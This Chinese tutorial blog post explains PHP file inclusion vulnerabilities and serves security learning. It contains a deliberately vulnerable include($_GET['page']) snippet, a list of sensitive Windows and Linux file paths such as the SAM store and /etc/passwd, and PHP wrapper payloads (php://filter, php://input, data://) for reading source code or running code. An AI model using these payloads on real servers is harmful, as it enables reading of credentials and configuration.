文件包含漏洞简单总结【附练习记录】

文件包含漏洞

什么是文件包含:

为了更好的使用代码的 重用性,引入了文件包含函数,可以通过文件包含函数将文件包含进来,直接使用包含文件的代码。

文件包含漏洞的成因:

为了灵活的包含文件,将被包含文件设置为变量,通过动态变量引入需要包含的文件时,用户对变量的可控而服务器端卫队变量值合理的校验或被绕过。

文件包含函数:

include() // 找不到被包含文件时产生警告,脚本继续执行

include_once() // 与include类似,但如果该文件的代码已经被包含,则不会再次包含

require() // 找不到被包含文件时产生错误,脚本停止

require_once() // 与require类似,但如果该文件的代码已经被包含,则不会再次包含

文件包含示例:

文件包含分为本地包含和远程包含。

(1)本地包含:

<?php
include($_GET["page"]);
?>

输入可控变量page:
在这里插入图片描述

在本地包含中,任何一个文件,无论是什么类型的文件,只要其文件内容符合PHP语法规范,任何扩展名都可以被PHP解析。

(2)远程包含:

远程包含功能需要在php.ini配置文件中进行修改:

allow_url_include = Off //把Off改成On

在 http://192.168.31.169/ 目录下存在test.txt文件:

<? php
  	echo "Hello World ";
?>

输入page=http://192.168.31.169/test.txt:
在这里插入图片描述

PHP文件包含的利用:

(1)读取敏感文件

常见敏感信息路径:

① Windows系统。

路径功能
C:\boot.ini查看系统版本
C:\windows\system32\inetsrv\MetaBase.xmlIIS配置文件
C:\windows\repair\sam存储Windows系统初次安装的密码
C:\Program Files\mysql\my.iniMysql配置
C:\Program Files\mysql\data\mysql\user.MYDMysql root
C:\windows\php.iniphp配置信息
C:\windows\my.iniMysql配置文件

② Linux系统。

路径功能
/etc/passwd
/usr/local/app/apache2/conf/httpd.confapache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf虚拟网站设置
/usr/local/app/php5/lib/php.iniPHP相关设置
/etc/httpd/conf/httpd.confapache配置文件
/etc/my.cofMysql的配置信息

(2)使用PHP封装协议

常见伪协议及其用法:

伪协议用法
file://?file=file://绝对路径
php://filter?file=php://filter/read=convert.base64-encode/resource=相对路径
php://input?file=php:input (POST传参<?php phpinfo()?>)
zip://?file=zip://绝对路径/xxx.zip#1.txt (1.txt为zip中的文件)
data://?file=data://text/plain,<?php phpinfo() ?> or ?file=data://text/plain;base64,编码

php://input在使用时,要保证allow_url_include=On

文件包含漏洞靶场练习

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值